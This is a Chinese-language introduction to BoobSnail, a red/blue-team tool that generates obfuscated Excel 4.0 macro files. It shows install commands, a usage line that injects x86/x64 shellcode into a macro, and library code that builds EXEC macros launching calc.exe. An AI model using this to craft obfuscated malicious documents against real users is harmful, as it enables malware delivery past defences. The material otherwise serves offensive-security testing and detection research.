如何使用BoobSnail生成任意Excel 4.0 XLM宏文件
關于BoobSnail
BoobSnail可以幫助廣大研究人員生成XLM(Excel 4.0)宏文件,該工具可以在XLM宏生成任務中給紅隊和藍隊研究人員提供幫助。該工具支持的功能如下:
- 各種感染技術;
- 各種代碼混淆技術;
- 將公式翻譯成英語以外的語言;
- 可當作代碼庫使用,以便研究人員編寫自己的生成器;
工具下載
廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
- git clone https://github.com/STMCyber/boobsnail.git
工具依賴
BoobSnail基于Python 3開發(fā),因此我們需要在本地設備上安裝并配置好Python
3.8.7rc1環(huán)境。接下來,運行下列命令安裝該工具所需依賴組件:
- pip install -r requirements.txt
- python boobsnail.py
- ___. ___. _________ .__.__
- \_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
- | __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
- | \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
- |___ /\____/ \____/|___ /_______ /___| (____ /__|____/
- \/ \/ \/ \/ \/
- Author: @_mzer0 @stm_cyber
- (...)
工具使用
- python boobsnail.py <generator> -h
顯示可用的生成器類型:
- python boobsnail.py
工具使用樣例
生成注入了x64或x86 Shellcode的經過代碼混淆處理的宏:
- python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv
生成能夠運行calc.exe的經過代碼混淆處理的宏:
- python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
代碼庫使用
BoobSnail使用了excel4lib庫來支持創(chuàng)建我們自己的Excel4宏生成器。excel4lib庫包含了幾個類,可以在創(chuàng)建生成器的過程中使用:
- macro.Excel4Macro:允許定義Excel4公式和變量值;
- macro.obfuscator.Excel4Obfuscator:允許對Excel4宏中的指令代碼進行混淆處理;
- lang.Excel4Translator:允許將公式轉譯為其他語言;
下面給出的例子中將創(chuàng)建一個能夠運行calc.exe的簡單宏:
- from excel4lib.macro import *
- # Create macro object
- macro = Excel4Macro("test.csv")
- # Add variable called cmd with value "calc.exe" to the worksheet
- cmd = macro.variable("cmd", "calc.exe")
- # Add EXEC formula with argument cmd
- macro.formula("EXEC", cmd)
- # Dump to CSV
- print(macro.to_csv())
結果如下:
- cmd="calc.exe";
- =EXEC(cmd);
如果你想對宏進行混淆處理,則需要導入混淆工具并傳遞給Excel4Macro對象:
- from excel4lib.macro import *
- from excel4lib.macro.obfuscator import *
- # Create macro object
- macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
- # Add variable called cmd with value "calc.exe" to the worksheet
- cmd = macro.variable("cmd", "calc.exe")
- # Add EXEC formula with argument cmd
- macro.formula("EXEC", cmd)
- # Dump to CSV
- print(macro.to_csv())
如需將你的宏轉譯為其他語言,假設為波蘭語(當前該工具僅支持英語和波蘭語),我們則需要導入Excel4Translator類,并調用set_language方法:
- from excel4lib.macro import *
- from excel4lib.lang.excel4_translator import *
- # Change language
- Excel4Translator.set_language("pl_PL")
- # Create macro object
- macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
- # Add variable called cmd with value "calc.exe" to the worksheet
- cmd = macro.variable("cmd", "calc.exe")
- # Add EXEC formula with argument cmd
- macro.formula("EXEC", cmd)
- # Dump to CSV
- print(macro.to_csv())
結果如下:
- cmd="calc.exe";
- =URUCHOM.PROGRAM(cmd);
如果你需要創(chuàng)建一個能將其他公式作為接收參數(shù)的公式,則需要使用Excel4Macro.argument函數(shù):
- from excel4lib.macro import *
- macro = Excel4Macro("test.csv")
- # Add variable called cmd with value "calc" to the worksheet
- cmd_1 = macro.variable("cmd", "calc")
- # Add cell containing .exe as value
- cmd_2 = macro.value(".exe")
- # Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
- exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
- macro.formula("EXEC", exec_arg)
- # Dump to CSV
- print(macro.to_csv())
結果如下:
- cmd="calc";
- .exe;
- =EXEC(CONCATENATE(cmd,R2C1));
項目地址
BoobSnail:【GitHub傳送門】